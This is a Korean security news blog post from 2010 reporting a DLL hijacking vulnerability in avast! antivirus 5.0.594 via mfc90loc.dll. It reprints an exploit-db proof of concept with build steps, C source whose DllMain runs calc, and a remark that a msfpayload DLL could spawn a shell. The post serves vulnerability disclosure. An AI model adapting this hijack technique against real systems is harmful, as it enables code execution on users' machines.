어베스트!도 DLL Hijacking 취약점에 노출돼

보안은 무료로/뉴스 & 정보 2010/08/25 21:39

최근 보안 아니 윈도우 업계를 강타하고 있는 취약점이 바로 DLL Hijacking입니다. DLL은 윈도우 실행파일이 참조하는 라이브러리 파일인데, 문제는 DLL 파일의 경로를 제대로 검증하지 않아 이를 통해 공격을 하는 형태로 이미 예전부터 예견되어 있던 취약점입니다.

DLL Hijacking 취약점에 대한 자세한 사항은 아래 링크를 참고하시면 금방 이해가 되실 것으로 생각됩니다.

http://viruslab.tistory.com/attachment/cfile26.uf@1950D1154C74FAFA79D3CD.pdf

하여튼, 어베스트! 안티바이러스 제품의 최신 버전에서도 DLL Hijacking 취약점을 가지고 있는 것으로 알려져 있습니다. 어베스트!의 최신 버전은 V5.0.594이며, mfc90loc.dll 파일에서 이 취약점이 존재합니다. mfc90loc.dll은 라이선스 파일에 관련된 DLL 입니다.

# Exploit Title: avast! license files DLL Hijacking Exploit (mfc90loc.dll)

# Date: 25/08/2010

# Author: Bruno Filipe (diwr) http://digitalacropolis.us

# Software Link: http://www.avast.com <http://www.bsplayer.org>

# Version: <= 5.0.594

# Tested on: WinXP SP2, WinXP SP3

# Thx TheLeader ;)

#

----------------------------------------------------------------------------------------------------------

# This should work with avast license files (.avastlic)

# 1. gcc dllmain.c -o mfc90loc.dll

# 2. Put mfc90ptb.dll in the same directory of an avast license file (EG:

anything.avastlic)

# 3. You can generate a msfpayload DLL and spawn a shell, for example.

#

----------------------------------------------------------------------------------------------------------



#include <windows.h>



int main()

{

  WinExec("calc", SW_NORMAL);

  exit(0);

  return 0;

}



BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)

{

  main();

  return 0;

}

하지만 실제적으로 어베스트!에서는 실시간 감시 및 자기 보호 기능이 월등하기 때문에 이 취약점을 직접적으로 이용하여 공격하기에는 약간 어려운 부분이 있을 수 있습니다만, 그래도 어베스트! 제작사의 빠른 대응이 필요한 시점으로 보입니다.

감사합니다.

출처: http://www.exploit-db.com/exploits/14743/